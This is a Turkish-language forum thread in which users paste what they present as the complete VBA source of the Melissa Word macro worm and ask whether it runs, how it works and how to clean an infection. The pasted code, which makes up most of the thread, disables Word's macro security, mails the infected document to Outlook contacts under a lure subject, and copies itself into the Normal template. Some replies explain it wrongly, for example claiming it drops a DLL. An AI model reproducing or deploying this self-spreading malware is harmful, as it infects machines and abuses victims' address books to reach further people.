sanırım calısıyor... hemde txt bıle kaydetsende arkadaslar yolu nedır bunun?, ıncelemek ıcın bılgısayara alalım dedık dırekt vırus hatası aldım, gercı norton, sılındı uyarısı verdı ama pek guvenemıyorum?

Kod: Private Sub Document_Open On Error Resume Next If System. PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then CommandBars . Controls . Enabled = False System. PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Else CommandBars . Controls . Enabled = False Options. ConfirmConversions = (1 - 1): Options. VirusProtection = (1 - 1): Options. SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject Set DasMapiName = UngaDasOutlook. GetNameSpace If System. PrivateProfileString <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName. Logon "profile", "password" For y = 1 To DasMapiName. AddressLists. Count Set AddyBook = DasMapiName. AddressLists x = 1 Set BreakUmOffASlice = UngaDasOutlook. CreateItem(0) For oo = 1 To AddyBook. AddressEntries. Count Peep = AddyBook. AddressEntries BreakUmOffASlice. Recipients. Add Peep x = x + 1 If x > 50 Then oo = AddyBook. AddressEntries. Count Next oo BreakUmOffASlice. Subject = "Important Message From " & Application. UserName BreakUmOffASlice. Body = "Here is that document you asked for... don't show anyone else ;-)" BreakUmOffASlice. Attachments. Add ActiveDocument. FullName BreakUmOffASlice. Send Peep = "" Next y DasMapiName. Logoff End If System. PrivateProfileString = "... by Kwyjibo" End If Set ADI1 = ActiveDocument. VBProject. VBComponents. Item(1) Set NTI1 = NormalTemplate. VBProject. VBComponents. Item(1) NTCL = NTI1. CodeModule. CountOfLines ADCL = ADI1. CodeModule. CountOfLines BGN = 2 If ADI1. Name <> "Melissa" Then If ADCL > 0 Then ADI1. CodeModule. DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1. Name = "Melissa" DoAD = True End If If NTI1. Name <> "Melissa" Then If NTCL > 0 Then NTI1. CodeModule. DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1. Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1. CodeModule. Lines(1, 1) = "" ADI1. CodeModule. DeleteLines 1 Loop ToInfect. CodeModule. AddFromString ("Private Sub Document_Close ") Do While ADI1. CodeModule. Lines(BGN, 1) <> "" ToInfect. CodeModule. InsertLines BGN, ADI1. CodeModule. Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1. CodeModule. Lines(1, 1) = "" NTI1. CodeModule. DeleteLines 1 Loop ToInfect. CodeModule. AddFromString ("Private Sub Document_Open ") Do While NTI1. CodeModule. Lines(BGN, 1) <> "" ToInfect. CodeModule. InsertLines BGN, NTI1. CodeModule. Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument. Name, "Document") = False) Then ActiveDocument. SaveAs FileName:=ActiveDocument. FullName ElseIf (InStr(1, ActiveDocument. Name, "Document") <> False) Then ActiveDocument. Saved = True End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000... it's a new age! If Day = Minute Then Selection. TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub -

güzelde kodları yazsak çalışırmı

Çok yenisin galiba. Kısacası kendine bi DLL oluşturup pc`nin içine atıyo. Sonrada virüs senin pcnde dolaşıyo. I Love You Melissa.

sanırım outlooktaki adres defterine erişiyor sonrada onun içerisindekilere kendini yolluyor... mesajın içeriği Here is that document you asked for... don't show anyone else ;-) aslında mantık olarak virüs yazacak olanlara yol gösterici olabilir...

nasıl yani notepada bunu kopyalayıp kaydetsek çalışıyo mu

hayır çalışırmaz! kodları belki norton uyarır ama sanırım bunun sebebi kullandığı registery keyleri veya mesajlardır...

Arkadaslar, bu virus bulastıgı bılgısayardan nasıl temızlenır fıkrı olan var mı? Sanırım ben bulastırdım da :S

bilen bir arkadaş basit dille bu kodların açılımlarını yapabilir mi

visual basic temi çalışıyor bu onun kodlarına benzi yorrr

evet ne yalan söyleyim virüsler konusunda yeniyim